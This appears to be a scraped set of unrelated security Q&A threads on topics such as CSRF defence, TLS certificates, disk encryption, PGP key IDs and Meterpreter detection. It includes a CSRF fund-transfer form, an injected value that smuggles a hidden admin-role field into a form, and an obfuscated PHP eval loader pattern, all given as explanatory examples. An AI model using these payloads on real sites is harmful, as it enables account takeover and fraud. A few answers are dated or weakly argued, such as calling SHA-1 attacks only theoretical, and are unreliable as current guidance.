The smaller NAS's are OK for simple use but may restrict your options for backup. Crashplan for example is a bit of a memory hog so you will struggle to back up >0.5TB on the smaller devices. To get round that, you should split your backups and run them on a rotating schedule (which the Crashplan client allows you to do).


CSRF Clarification and Demystification I understand how Cross-Site Request forgery happens, but I'm very unclear about how to protect against it using a SPA(React) application.

For instance, my current strategy is to, on login, send a csrf token to the client as a cookie, the on the client, grab that cookie and include it in the req.body or in a custom header.

My express backend is using the CSURF package and will verify the token on any POST routes.

However, how is this safe? A malicious website can do the exact same thing, hit my log in, receive the token, add to token to header, and then do anything.

What is the proper way to protect against CSRF in a SPA where my API is separate from the server that sends my client application?

However, how is this safe? A malicious website can do the exact same thing, hit my log in, receive the token, add to token to header, and then do anything.

The malicious website could grab a csrf token, but as your server will have a different csrf token for each user session, it will be of no use to the malicious website.

To better understand csrf attacks, consider the following workflow:

a user login successfully on your website, creating a session server-side, and getting a session cookie client side that identifies the server-side session
this user now visits another site (malicious) that has an onload event that trigger submitting a form on your website, that is accessible only to logged in user. The form would look like this :

<form method="POST" action="https://your.web.site/secured/transferFund">
    <input type="hidden" name="amount" value="1000"/>
    <input type="hidden" name="to" value="malicous_guy_account"/>
</form>

on submitting this form in an event, it :

will be totally invisible to the end user
work because the client is logged in on your website, and the session cookie will be used for this http request automatically

So how the CSRF token helps ?

It is not stored in a cookie, but either directly in a hidden form field, or in a header, both location cannot be scanned by the malicious website.

So now, when the malicious website tries to submit the previous form, the csrf token is missing or invalid, and will be rejected server-side as not authorized.

For that to work, you need :

different token for each user session,
to tie the token to the session lifecycle,
to keep it away from cookies,
that everything that changes state server side, is behind a POST action
that every POST action has its CSRF token validated


How to patch haproxy for OpenSSL vulnerability USN-2830-1 This is regular security task, I have a number for servers running HAproxy on ubuntu 14.04 LTC on AWS. Since USN-2830-1 is a OpenSSL vulnerability I believe we must patch our HAproxy instances, but on the official docs of ubuntu, it just says :

$ sudo apt-get update
$ sudo apt-get dist-upgrade

I am not very sure if this is sufficient or not. Any guidance is appreciated

Per the Ubuntu vulnerability, running those commands is sufficient. Ubuntu is a reliable Linux distro, not known to make false claims. So you should be secure.


Setting up two way SSL I am trying to setup two way SSL to communicate with partner web service. I understand I have to provide server certificate on client side. However, questions are:

Is self signed certificate okay?
Should the client certificate be on web servers (1&2) or on outbound firewall?

The connectivity is as below:
web server (1..2) -> Outbound corporate firewall -> partner firewall -> partner web server hosting web service

A self signed certificate is fine as long as you ensure it is strongly generated.  It won't have implied trust, but if it is going between two end points you know, then you can independently establish trust and add the certificate to the trusted certificate list.

The second question is really up to you depending on how you want the connection to function.  It will protect in between the firewalls either way and will protect even behind the firewalls if you go all the way to the machine, but it will have to bypass the firewall unless you also tell the firewalls about the keys and use a key exchange that the firewalls can follow.


Example of a backdoor submitted to an open source project? To clarify immediately, I'm not interested in writing a backdoor. I have no interest in submitting backdoor changelists to projects myself.

I'm researching some source modeling techniques, and we're interested in seeing if exploits or malicious code can be identified. We're using git and subversion histories to examine how a model snapshot captures relationships between the code. There is a question about whether certain types of code appear as outliers in an environment like this.

With that in mind, I'm having a hard time finding instances of a git/cvs/? open source repository with an example of a changelist that contained a backdoor, and was submitted and will show up in the logs.

We were looking at proftpd as an early example, but this exploit wasn't checked in but rather modified other versions of the code.

Are there examples in the revision history of an open source project of attempts to insert backdoor code?

Note: I submitted this to StackOverflow a while ago, but it was closed.  I'm revisiting this now, and the recommendation was to ask here.  Thanks!

Some notes about an attempt to get a backdoor into the Linux kernel, circa 2003. Apparently unsuccessful.  The contemporary commentary was fairly interesting.

The linux kernel distribution machines got compromised again in 2011, but it seems like no code got changed that time.

UPDATE:
Looks like a sourceforge mirror had a version of phpMyAdmin with a built-in backdoor.


How do they determine that "It's likely that you're behind VPN or proxy" if I have my own custom VPN? I have my own VPN server on a remote server on VPS. On some websites, very unknown and small ones, I've faced up to a restriction stating "It's likely that you're behind VPN or proxy, you're not allowed to use our website".

I don't want to change my VPN provider, meaning I don't want to buy VPN from a third-party and I want to keep using VPN. Which is, again, my own VPN.

How do they determine that I'm behind VPN? Does "likely" mean that they know a range of IP addresses of my and most popular hosting providers and it just infers the fact that I have a certain IP address?

There are databases that maps IP ranges to ISPs (Examples: 1, 2, 3). From here, it wouldn't be too difficult to separate Domestic ISPs from Datacenter ISPs and to block connections from non domestic IP ranges.

Many services that are primarily intended for human consumption uses these kind of databases to separate bots/spammers, which are likely running from a data center rather than their home unlike most regular users. Most VPN services and hosting services also often run from data centers rather than domestic addresses.


Does TrustManager PKIX (or RFC 3280/X.509) really check the expiration date of a client's certificate? It was noticed that the default java implementation of TrustManagerFactory for PKIX trust manager algorithm (X509ExtendedTrustManager) doesn't really check the expiration date of a client's certificate during SSL authentication.

This could be easily checked: configure Apache Tomcat 7.x with SSL client auth. Put in the trust store an expired client certificate. On the client side set the system time to a past time, when the certificate was not expired. Voila, the client can successfully authenticate on the web server.

The question is: is such a behaviour correct and appropriate to RFC 3280, or it is a bug?

No it doesn't and no it isn't a bug.  For what it's worth, I see nothing explicit in RFC 3280 mandating that path validation fail on expired certificates.

If you have a certificate in the trust store javax.net.ssl default TrustManagers will trust it regardless of expiry.

There is nothing in the JavaDoc suggesting that it checks expiry.  I'd say it's by design.

I dove pretty deeply into the JCL source and it makes no attempt to check certificate expiry.

Other users have encountered and verified this behavior:
https://stackoverflow.com/a/5206923/154527

You will need your own TrustManager to enforce this.


Isn't file encryption good enough? As the title asks, and in conjunction, I'm wondering why full-disk encryption is "better" to some folk.
This is not taking into consideration of theft, but rather, something or someone infecting my machine and then being able to exploit my data.
From my understanding, once a user has logged on to their OS, even with their drive encrypted, they're still at risk from having their data accessed in some way(s).
I was looking at this question and now I feel as though I'm not getting the entire picture.
I use VeraCrypt's file container solution to stash my sensitive data on my primary drive (securely). According to VeraCrypt's own user guide, the data I access is never stored in the plain. It is always encrypted, and even when accessed, is only ever decrypted in RAM.
So, this to me takes into consideration of swap files and other insecure placements of my sensitive data throughout my drive.
Even if I were to encrypt my drive, the data has to be decrypted at some point. So, either way, that particular risk will always be there. However, in my case, isn't keeping my sensitive data within the file container sufficient for my "security" needs (ignoring theft)?
If not, can you please explain why I might need full-disk encryption?

To begin, I'll break down the main difference between FDE and File-level Encryption:

Full-Disk Encryption:

FDE works on the hardware level of a device. It encrypts the entire drive as compared to individual files and ensures that data cannot be read even if the drive is connected to an alternate system. It ensures that a user must have a password to even be able to access a file. This is an important distinction.

File Level Encryption:

File level encryption allows you to encrypt individual files as compared to an entire drive. This allows you to control access to files - I could allow both Bob and Alice to share a drive (bad idea, just an example) and encrypt a file with each of their passwords. This would result in both of them being able to see the file but, importantly, not the contents. In other words - it allows more control.

Let's say I'm a nasty person - I notice that you've left your Veracrypt container unlocked - this means that I can freely read all your files because the container is open - this is the same as FDE except on a smaller scale. However if you had been using File Level Encryption as well, I would have needed another password in order to be able to actually view the files. I might be able to copy them off (depending on my permissions) and crack them at my leisure, but that's a longer process.

In another scenario, if you don't have FDE, I could rip your drive out of your system, clone the entire drive and proceed to crack the files present on it on my system. Or I'd use a bad security file implementation to access your data.

tl;dr: You want FDE if you want to ensure that people will never be able to even read the contents of your disks without a password while you also want File Level Encryption to ensure that you aren't allowing someone to copy unencrypted data off your disk when it's unlocked.


Programmer to Security Professional I am a software developer (mostly .NET and Python about 2-3 years exp.) looking to break into the Computer Security field. I have a GWAPT cert and will have both GSSP-NET and Network+ certs by the end of july. I am a member of OWASP and ISSA in order to network and keep up to date on various issues in the field (I attend the meetings and try to get involved). What can I do to help me get a job in the computer security field as a pen tester or security researcher or really anything that will get me started in that field?

This is the career path I've just taken (or am in the middle of, really). As Guillaume says, the best start is to focus on security in your current work. This could mean at your current job, or it could mean taking a similar dev post where you have the chance to concentrate on security.

What do I mean by 'concentrating' on security? If your dev team already follows a security development lifecycle, take on responsibility for some of the tasks as part of that SDL. If it doesn't, start introducing those tasks and leading adoption of an SDL.

Where Guillaume and I differ is at step 2: I didn't get and still don't have a CISSP or any other industry cert, though I do have a postgraduate software engineering qualification that includes security content. That wasn't necessary to getting into software security though: the route I took was to go out and find developers and talk to them about security. This means conference talks, podcasts, blog posts...I even wrote a book. Pretty soon you get recognised as "the security guy" in your chosen field, and the work comes to you.

I also disagree that you lose the ability to code. A lot of what I do now is programming: either implementing security controls for client products, writing tests to research platform security features or sample code to demonstrate security issues to fellow-developers.


Proper way to obtain CA certs for verification I want to securely connect to an API, but I'm not sure how I should obtain the CA cert for the verification step.

I've seen some people get the certs using e.g.:

openssl s_client -connect graph.facebook.com:443 -showcerts

Is this method for obtaining certs secure? Should I use some other method?

Edit: since there are no bites yet, maybe an example of what I'm worried about will help. Given that the main point of SSL (as I understand it) is to counter MITM attacks, how can certs be obtained in a way that ensures they were not subject to a MITM, thereby making subsequent verification moot?

I have seen this done with SSH key authentication by phone.  The procedure was for me to generate private and public keys and send the public one to the hosting provider via email.  They would then phone me, read out half of the fingerprint and require me to read out the other half.  If they matched, they would put my public key on the server and I could log in.

This is unlikely to be practical for verifying Facebook's SSL certs, however the key point is that the verification was done using a different method to the original transfer which makes a potential attacker's job much harder.

If you can request the certificate using a different computer on a different internet connection and compare it to the one you have then you can be reasonably certain that you have the correct cert.

SSL has chains of trust which SSH keys don't, so it should be adequate to verify the root CA certs and use those to verify the target cert.

On Ubuntu, there is a ca-certificates package that contains the certificates that the Ubuntu maintainers trust.  The certificates themselves can be found in /usr/share/ca-certificates.  Other Linux distributions will have similar packages.


How dangerous is checking email on open Wi-Fi network How risky is it to check my email on my smartphone on an open Wi-Fi network (i.e. Starbucks or Old Navy)? Is this only risky if someone is snooping? Do they have to be there, or can they leave a recording device and come back later to collect the data?

Specifically, what if I am checking my Yahoo mail? Can someone see and steal my password and then log into my email account?

Also, what if I am using webmail to check my personal domain email via SquirrelMail. I don't think it is an HTTPS connection. Does this matter, and will HTTPS help?

As you might guess, I'm bit clueless on this and want to know what the odds of anything happening are and how it would happen.

Update: based on the answer below, I'm updating this question:

When I access and log onto Yahoo mail, I see HTTPS in the browser so I'm assuming it is a safe connection and I'm safe to enter my password and log in. Please answer below if this is not correct.

What I have learned from the first answer was that logging into my domain webmail via a regular HTTP link is risky. I checked and I can log into my webmail the following way (I've modified the URLs below to remove personal info)...

I enter https://www.mydomainname.com/webmail
This leads me to: https://serverZ.myhost.com:2096/unprotected/redirect.html?goto_uri=
I enter my user name and password in the popup window and hit enter
Now I am logged in at: https://serverZ.myhost.com:2096/cpsess#######/webmail/x3/?login=1 and I can read my emails.

Does the above way of logging into webmail via the HTTPS route seem safe on an open Wi-Fi network? Can I relax now, or should I worry?

non-technical answer:

If your connection is (good) encrypted between your Phone and your Mailserver - it should not be a problem. But if not - or accessing via web interface without HTTPS -some bad people or companies will be able to read the data.

If you do not trust the encryption and also not the network - don't do it.

You also have to trust your Phone/Laptop for handling Certificates in a right way, otherwise someone could offer your another Cert and SSL/TLS connection and decrypt it and encrypt it and pass them to your Server (Man in the Middle)

Conclusion:

If you can ensure a safe encrypted connection point to point (Phone - Mailserver) with a good cypher - everything should be ok - if you can not ensure this - stay away.


Can a website have multiple valid TLS certs looping back to multiple root CAs in case one of them is compromised? Sometimes, CAs get compromised, like Diginotar or Comodo. In such an incident, anything can happen from individual certs being revoked to the entire tree being scrubbed from the cert store. A company that isn't aware of this in time might find themselves without a trusted CA.

In case this happens, does TLS allow for a website to basically have a backup certificate in case the other one is revoked? Or does that lead to other security issues?

To be clear: I'm not talking about having multiple root CAs validate your website with the same cert to have more trust. I'm talking about having a backup certificate, already deployed to the website, that's automatically checked in case your default CA gets revoked, so your website always has trust.

You can have a backup certificate from a different CA but you cannot serve multiple leaf certificates (i.e. certificates matching the hostname) within the same TLS connection. You can also not have multiple signatures (i.e. by different CA's) on the same certificate which is a similar question often asked in this context. But you could use  different certificates for different connections so that not everything fails if a CA gets untrusted, even though this would be uncommon and several security extension might complain about the always changing certificate.

  A company that isn't aware of this in time might find themselves without a trusted CA.

A CA gets not removed suddenly without a huge public outcry abut the compromise. And with the removals in the past it was often done in a way that certificates issued before the compromise where still valid for a while so that administrators had enough time to get a replacement certificate. Since there is no mechanism in the PKI structure which allows for this so you had special hacks in the browsers to support this.

If you are after all this public attention still not aware about the removal of the CA and did not get a replacement in time then you might have much worse problems in your IT security than a failing certificate.


How to backup files from a infected computer to a USB drive in a safe way? Send the files by email or upload then in a drive are not a option since my friend's connection is very poor and is a lot of files.

She gave me a USB drive to save her files but I know her computer is infected with a lot of things, I can barely use her PC without stopping work.

So, I would like to know if is there a safe way to insert that USB drive, save files and, after reinstalling the OS, insert the USB again without infect her PC.

Most malware doesn’t infect the drive itself but there is a chance. Most likely, the malware that would infect the drive runs when the OS boots.

Boot the infected system from a cd rom or into recovery mode and then copy the files.

Once the files are on the usb, you’d need to scan them.


Is there a real-world example of SSD data recovery? Secure data deletion is known to be more complicated and elusive on a solid-state drive than for a regular hard drive. For instance, the logical block mapping on the SSD's flash translation layer makes it impossible to reliably overwrite specific memory sectors as you would do to wipe an HDD.

I am looking for a real-world example (not a proof of concept) to illustrate the problem. Is there a notable case where someone, preferably law enforcement, has taken advantage of the properties of an SSD in order to recover wiped data that would have likely been unrecoverable on an HDD?

Recovery is only possible under certain conditions:

have an older SSD with no TRIM support
or
have Windows XP (as it does not support TRIM) or another old OS with no TRIM support
or
you connect the SSD as an external hard drive via USB port.
or
AHCI / SATA interfaces are not detected in your old MB - you use legacy mode/IDE mode
or
you have a RAID 0 setup

Those are the happy cases. Any decent software will be able to recover your files.

The now-days most encountered case is when you have a new SSD with TRIM enabled. In this case, data recovery is a no-go, because when TRIM is enabled, the erase action is performed immediately. TRIM will purge both the data and the link to it, so practically, it’s gone; it’s simply decontaminated and empty, flagged as ready-to-use.

In some situations, Self-Encrypting Drive (SED) and ATA Secure Erase have been found not to function, just like Bitlocker encryption. In such a situation, data is also recoverable. But in a case of fully encrypted drive with a 3rd party reliable tool, nothing will be recoverable.


Brute force a password with a lot of hash (of the same password) I have a list of approximatively 1000 entities, defined using the following code :

list[i] = md5_salt_unix_hash(random_salt, password)

Where the random_salt is generated in each iteration and the password is already the same.

I want to know if there is any mmethod to brute force the password by exploiting this list or if this list is useless and that I just need 1 hash to brute force the password.

The latter - you just need to hash each word in your password guess list with one of the salts and then compare each resulting hash.

Note that the salt is not considered private - all that a long list of different salts against the password gives you is a small number possible representations of that password in a DB. It does not make it easier to guess the password.


Is a HTML form tag more exploitable than a HTML link in user submitted content? I have a content editor in a web application which allows administrators to add and edit content in certain areas of the application.

The editor component I have used automatically removes any script tags, click events and basically any JavaScript from the content that is entered. I was aware of this and is intentional behaviour of the web application on my part.

I have just found out that the editor also removes form tags from any content entered. I was not aware of this until recently when a user attempted to include a PayPal button.

I'm sure there is a good reason for it but off the top of my head can't think of what makes a form tag more dangerous than a HTML link.

What is the case for stripping out form tags from user provided content, while allowing HTML links?

Yes, it is. By how much, and if it would be ok for you to allow forms depends on your specific situation.

CSRF with referer checks

If your CSRF protection depends on referer checks, not on a token, allowing forms means that you would be vulnerable to CSRF.

As you disallow scripts, a victim would still need to actually click the form, but that can be achieved via social engineering or maybe ClickJacking.

For example, an attacker could place a paypal button, which would actually add a new admin user, in the hopes that you click it.

Of course, this is also possible with links, but only for GET requests, not for POST requests.

CSRF with existing forms

It sounds that your filter is a general filter, filtering out all possibly dangerous tags. But there are specific situations where you definitely do not want form tags, eg when echoing user input inside forms.

If you eg have a user edit form like this in the admin backend:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">
</form>

Now, a user could name themselves foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>. If they now get the admin to edit their profile, they would be admin, without the admin wanting to make them admin.

Phishing

A form could also be used for phishing attacks. This again depends on the specific context where your user input is put, but theoretically, an attacker could for example display a form asking for login credentials, credit card details, etc, and then send them to their own server.

The hope is that the victim would not interpret the form as user input, but as belonging to your website.


Can a SSH server or client to initiate a unencrypted connection? Several clarifying questions:

Is it possible to disable the SSH encryption using options at the OpenSSH server/client or some appropriate hack?
Is it possible to do this at the time of the transmission, of course with full control over the server?
Are there known servers/clients (except OpenSSH), which allow you to do this?
Are there any plugins for this software or patches for their code?

Per RFC4253, both the client and server would have to accept none as a cipher type in order to establish a plaintext connection.  OpenSSH (and probably most SSH implementations) refuses to accept none as part of the Cipher configuration, so you would not be able to do this with OpenSSH without recompiling both the client and server to accept none


Default Encryption - A Panacea or Placebo I wrote this on LinkedIn - Discrete Discretion

My first question is:

Is it accurate to say that default encryption is a placebo?  Will default encryption only make end-users think they are secure instead of actually making them more secure?

Is it accurate to say that default decryption is a placebo?

I assume you mean 'default encryption'. No, it is not a placebo. Of course it all depends on how it's actually implemented. I have read your post, and I'd like to point out that James Comey's example

  US-DoJ-FBI Director James Comey (pictured below) has been criticized
  for his warnings of 'encryption by default' with Apple devices and
  Google communications. He has used a hypothetical situation of a young
  girl being kidnapped, and how encryption by default would disallow and
  render impossible the ability to geo-locate the missing child if her
  device is encrypted.

is seriously flawed. In his example we do not care whether the child's telephone is encrypted or not. What we want is a control backdoor into its GPS location service. This is completely orthogonal to the encryption thing:

we can have a service that queries the GPS chip and sends the results to whoever sends a SMS containing the words "Squeamish Ossifrage", whether the phone data are encrypted or not.
if we don't have a service allowing remote access to the phone, being able to read the data it contains, or that it stores in the cloud, is completely worthless. Unless mr. Comey is thinking that a phone might continuously store an encrypted GPS log on the cloud, which some services may well do but is not required by his own use case.

The power of locating/decrypting a phone can be easily escrowed to the child's parents, who can use it or empower the police if and when they see fit.

Can all encryption be cracked? It depends. Given omniscience and/or an infinite amount of time? Probably. In a finite amount of time and with negligible costs? No way.

  How difficult would it be for the FBI to crack Apple's encryption algorithms for iPhones?

I'm not familiar with that algorithm. But let's suppose Apple uses 256-bit AES, implements it properly and does not install any backdoors. A reasonable estimate of FBI difficulty in cracking a two-stage passphrase encryption (i.e. data is encrypted using a random key, itself encrypted in the device using the user's passphrase, not directly using the user's passphrase) is in the neighbourhood of "pretty damn impossible". The best prospect so far, Murphy-Robshaw linearization, knocks off about eighteen zeroes from the number of iterations required. About sixty-seven remain.

There are "suspicions" that some encryption algorithms are flawed by design to allow NSA (or whatever) to break the encryption. But that does not mean that every encryption can be cracked in practice - it just means that it can be comparatively cheaply backdoored.


Can valid PHP be written and executed in non-ascii character encodings? I found a jpeg image on a server that contained the string <?php. The server also hosts an application written in PHP. The contents of the image that come after the string <?php are non-ascii.

I'm unable to find anything in the file that appears to be valid PHP code, yet I'm unwilling to accept that the string <?php appears within the file coincidentally.

The jpeg image is viewable in Windows, but clearly displays visual abnormalities about 1/3 of the way down. Saving the portion of the image that starts with <?php as a separate jpeg image and viewing it as an image confirms that the visual abnormalities begin at the same point that the string <?php occurs.

I'm reasonably certain that this image contains malicious PHP, but my attempts to detect executable PHP code have failed.

Edit

This image has visual abnormalities that begin at the point of the string "<?php" and continue to the bottom of the image. For testing, I've taken a different (known safe) jpeg, opened it in a text editor, and added the string "<?php" somewhere in the middle. The test image has zero visual abnormalities. This implies to me that the image in question was not only maliciously altered to contain the string "<?php", but that there were additional alterations made after the string "<?php". It seems likely that this image somehow contains executable PHP code.

--

Could this image indeed contain valid executable PHP that is encoded in a way as to not be readable within a text editor?

How can I confirm and/or translate the image file contents so that I may determine what the malware has done?

Edit

The image is attached

Below is the image before it was modified

No, PHP code is always at least some part readable ASCII.

Typical obfuscation methods are to decode a piece of code and run that:

eval(gz_decompress(base64_decode("0Z074L7expJKXs...")));

But you would still see a PHP function name after <?php.


Is this safe to display MySQL query error in webpage if something went wrong? Is it safe to display the detailed query in the error webpage with the below details?

  **INSERT statement conflicted with the FOREIGN KEY constraint "ABC". The conflict occurred in database ** The statement has been terminated.[INSERT INTO ** ] **

I know that showing this kind of error will help penetration testers and hackers, but I need someone to shed lights on this. How can this information be used for SQL injection or that kind of things? Or is it okay to display such sensitive information?

End users should never get to see the gory details of your environment.

Instead it is more professional to show a generic 'Sorry something went wrong' page. At least visitors can see that you have a real error handling mechanism present on your website.

However those errors should be written to the mysql error log and should also trigger a notification by E-mail or otherwise to the IT team. Those errors should not happen so it can be a sign that your site is failing or is possibly under attack.


Full Disk Encryption vs Storage Encryption Can I say that full disk encryption can be handled by bitlocker while storage encryption is something like self-encrypted drive?

I am not sure what does storage encryption means

Full disk encryption allows all the files on the disk to be encrypted, including the Operating System. This means a decryption key is needed to unlock the drive and then all the files can be accessed.

Storage encryption is used for file level encryption, commonly when the file is to be backed up and stored. In this case to access the file a piece of software is commonly used to allow the encryption and decryption of the files within the OS.


Amavisd-New and Google safe browsing I am studying the Google Safe Browsing.

How do I know that it is possible to intercept a content of an email via amavis, I wonder if I can, for each url found, consult the Google safe browsing?

Do not know much about linux, much less those tools.
Any help will be appreciated. Thank you.

Yes it would be possible to use the amavisd-new and Google Safe Browsing Lookup API specifications to write an e-mail scanning plugin that would "scan" all URLs in e-mails. The amavisd-new spec is written in Perl, so it would probably be easiest to write the plugin in Perl as well, but not necessary as according to their documentation.

As Andrew mentions, this type of scanning would likely be most useful if integrated in to a larger framework, like SpamAssassin, where it can be a contributing factor to the classification of incoming (or outgoing, in high security environments) e-mail.


The use of SHA-1 in a cyber forensic Let's say a hard disk (A) is retrieved from a system to make a clone of it on hard disk (B) and use this clone for a forensic investigation.

Is SHA-1 secure enough to make sure that no other information will be added to the cloned hard disk that can incriminate a person?
What are the steps to consider in the process of cloning a hard drive to be at least 99% sure that forensic expertise is correct and no other evidence can be added in the process of the investigation. How to make sure that SHA1 hash of the drive A actually belongs to this drive and it's not a random hash that later can be referenced as the right one and used also in the cloned disk B.
Considering that drive A will not be sealed no more, can someone add files to both hard disks while preserving the same sha-1 value on both hard disks and use the added materials as evidence in court?

If we assume that a hash is calculated based on the drive contents, and that we trusted the drive contents to be authentic at the time of hashing, then what you're worried about is some manner of hash collision (where two different pieces of data produce the same hash).

Currently, SHA-1 attacks are only theoretical, but there's a potential they could become viable in the not-too-distant future. MD5 collisions involving SSL certificates have been demonstrated in 2008, and although MD5 is weaker than SHA-1, SHA-1 is considered weaker than the modern recommendations.

In your case, you could improve confidence by using one of the SHA-2 algorithms, such as SHA-256 or SHA-512. Or even multiple hashes; if you can afford to compute several hashes, then that would increase the difficulty of producing a useful collision.

Also, if you plan on using hashes to verify that the contents of a drive haven't been tampered with, it is vitally important that the original hash must be done in a manner that is considered trustworthy. The original hash is basically your "seal of authenticity", as it were.


What is the attack vector for CVE-2018-3639 Speculative Store Bypass? We use Web Application deployed on a CentOS server.

Can the attack will be performed via a browser?
Or the attacker need a physical access to the CentOS server?

I cannot understand the attack vector from the RHEL: https://access.redhat.com/security/vulnerabilities/ssbd

  A malicious, unprivileged user could use this flaw to read privileged system memory and/or memory outside of a sandboxed environment like a web-browser or JIT execution run times.

Can the attack will be performed via a browser? Or the attacker need a physical access to the CentOS server?

The attacker needs local access to the system. This does not necessarily mean physical access but it can also be some kind of remote access which allows the attacker to execute code on the system. This could for example be a security issue in your web application which allows remote code execution (RCE).

If you have such a vulnerability which allows RCE it is very likely that the attacker will not try to use a very hard to execute attack like Speculative Store Bypass or any other Spectre variant but that he will make use of some easier to exploit security issues which are often available on a complex system. In other words: don't worry too much about this issue since it is (currently) very hard to exploit but worry more about the other issues you might have.


GnuPG asks for a key ID when sharing my public key, what is that? I generated a public key using GnuPG. I can see it using --list-keys

$  gpg --list-keys
/Users/mertnuhoglu/.gnupg/pubring.gpg
-------------------------------------
pub   4096R/CB3AF6E6 2015-12-24 [expires: 2016-12-23]
uid                  Mert Nuhoglu <mert.nuhoglu@gmail.com>
sub   4096R/0D6B756F 2015-12-24 [expires: 2016-12-23]

I want to share it on keyservers. This tutorial says I need to use the following command:

gpg --send-keys 'Your Name' --keyserver hkp://subkeys.pgp.net

I use that command, but I get the following error:

$  gpg --send-keys 'Mert Nuhoglu' --keyserver hkp://subkeys.pgp.net
gpg: "Mert Nuhoglu" not a key ID: skipping
gpg: "--keyserver" not a key ID: skipping
gpg: "hkp://subkeys.pgp.net" not a key ID: skipping

What is key id exactly?

OpenPGP User IDs

User IDs in OpenPGP are used to connect keys to entities like names and e-mail addresses. These are used to search for keys on key servers, and matching them to users/e-mail addresses.

Be aware user IDs are not checked by key servers, make sure to verify them on your own!

OpenPGP Key IDs

OpenPGP key IDs (and fingerprints) are used to reference keys when performing several actions like requesting and sending keys, or when verifying ownership. For example, you'd exchange the fingerprint with the key's owner on a separate, trusted channel to make sure the key really belongs to the person that claims to own the key.

The OpenPGP (v4) key ID is an identifier calculated from the public key and key creation timestamp. From those, a hashsum is calculated. The hex-encoded version is called the fingerprint  of the key. The last (lower order) 16 characters are called the long key ID, if you only take the last eight characters, it's the short key ID. An example for my own public key:

fingerprint: 0D69 E11F 12BD BA07 7B37  26AB 4E1F 799A A4FF 2279
long id:                                    4E1F 799A A4FF 2279
short id:                                             A4FF 2279

The primary public key's ID is referenced in the pub line after the key size, in your case the short key ID is CB3AF6E6:

pub   4096R/CB3AF6E6 2015-12-24 [expires: 2016-12-23]

Be aware the eight byte short key IDs do not provide a sufficiently large value space, and it is easily possible to generate duplicate keys through collision attacks. Instead of short key IDs, use at least long key IDs, and when software handles keys, always refer the whole fingerprint.

For more details on how the hash sums are derived, I refer to RFC 4880, OpenPGP, 12.2. Key IDs and Fingerprints which also explains the differences for deprecated OpenPGP v3 keys.

Sending and Receiving Keys From Key Servers

To send or receive keys from key servers, you must use the full key ID or fingerprint. GnuPG does not accept user IDs here. From man gpg:

--send-keys key IDs
    Similar to --export but sends the keys to a keyserver.  Fingerprints may be
    used instead of key IDs. [...]
 --recv-keys key IDs
    Import the keys with the given key IDs from a keyserver. [...]

If you want to search for a user ID (or parts of those) first, use gpg --search-keys. This will first query the key servers for the name, and provide some kind of assistant that asks you which keys to fetch afterwards (so, it will automatically run --recv-keys for the selected keys).

 --search-keys names
     Search the keyserver for the given names. Multiple names given here will be
     joined together to create the search string for the keyserver. [...]


Enterprise software in which later versions have security vulnerability Scenario : You are presented with a CVN which details that a piece of common software that you run with root privilege has a vulnerability that allows a non-privileged user to create or overwrite any file including files owned by root.

After further reading you find that the vulnerability only affects v1.6 and v1.7. The bug is fixed in v1.8 and the latest software is v1.9

However, you find that the version you are running across your Enterprise is v1.2 which is not affected by this vulnerability at all.

My question is this:

Is it best practice to upgrade to a version beyond those versions that contain the vulnerability, even though the version you are using is not affected?

I can foresee there might be different points of view.

On the one hand, by remaining at a version prior to the versions that are vulnerable, it is possible that the software is upgraded to a version that contains vulnerabilities due to human error. Let’s say that someone that looks after packaging does not spot this problem.

Yet on the other hand, one may say that we have to trust the processes and procedures in place which should prevent such human error.

Perhaps the answer to a large part is dependent on your appetite and assessment or risk. I’d really like to condense this down to a statement of best practice devoid of subjective belief.

You appear to assume that risk assessments can be devoid of subjective belief.

The answer is to conduct a risk assessment based on all the factors involved and infer factors that matter to your risk assessment. There is no way to avoid subjective belief. And there is no "best practice" concerning when to update when there is no vulnerability in the present version.

Each software is unique, and moreover, each update to each software is unique. One cannot make a quantitative analysis on the probability of future bugs based on past bugs, or based on the bugs experienced by similar programs, for the very reasons you mention:

an update might fundamentally fix a faulty function that reduces the probability of future problems
each update can introduce new bugs

Yes, you can infer some relevant factors based on the updates, what was fixed, and other environmental factors, but that can require that one makes a lot of guesses. It can be better to review and test the code yourself, if that is possible, but that also requires that you trust your testing process. (If testing processes were a complete and objective measure, then software would not have any bugs, to begin with).

That means that inference, experience, and expert opinion are all important factors in making the decision to update from one version to another (and in all risk assessments).

Therefore, the best practice is to perform a risk assessment that includes the subjective beliefs of the experts whose opinions matter and the processes that you trust.


How to detect Meterpreter and similar malware? Is it possible to find Meterpreter or similar malware which doesn't modify the hard disk but is only stored in RAM?

Most common anti-rootkit software like rkhunter and chkrootkit don't find it.

First of all 'meterpreter' is not malware. I gather you mean how to detect open Meterpreter sessions between a compromised machine and the attacker.

Most antivirus can detect meterpreter payloads in memory - they are public, and that's why Metasploit has special polymorphic engines to try to hide the payloads.

A nice factoid: Commercial tools like Canvas exploitation framework make special agreements with antivirus companies to have them not detect their payloads.

Also, you can detect things on the network level if the session is not encrypted (defaults to SSL nowadays): most IDS can detect meterpreter, Snort has signatures for example. You can also detect the initial meterpreter DLL upload.

Also, tools exist for the job: Antimeter - http://packetstormsecurity.org/Win/antimeter.zip - it can detect processes that have the malicious DLL injected and kill them.

On the host, netstat and Process Explorer will show funny connections and DLLs loaded.

Finally, it isn't true that nothing ever touches the disk: The script first uploads the malicious DLL on disk and then injects it into a process.


Unbinding in key hierarchy Lets say we have a key hierarchy as follows:

SRK -> SK1 -> SK2 -> BK

With the public part of BK, I decrypt a symmetric AES key. For a proper decryption, the private key of SK2 is needed in the TPM. To obtain the private key SK2 the private key of SK1 is needed and for SK1 the private key of SRK is needed.

Tspi_Key_LoadKey() is used to load a key into the TPM and takes the key itself and its parent as its arguments.

Let's say I would load BK and its parent SK2 into the TPM. The TPM wouldn't be able to decrypt BK because for that the private key of SK2 is needed. SK2 can only be decrypted if SK1 is known to the TPM which is not.

How is the procedure for this example to decrypt BK in the TPM?

Idea 1:

Load SK1 with parent SRK into TPM (SK1 can be decrypted with SRK)
Load SK2 with parent SK1 into TPM (SK2 can be decrypted with SK1)
(optional) Unload SK1 because it's not needed anymore
Load BK with parent SK2 into TPM (BK can be decrypted with SK2)
(optional) Unload SK2 because it's not needed anymore

Idea 2 (whole chain must be in TPM at once):

Load BK with parent SK2 into TPM
Load SK2 with parent SK1 into TPM
Load SK1 with parent SRK into TPM

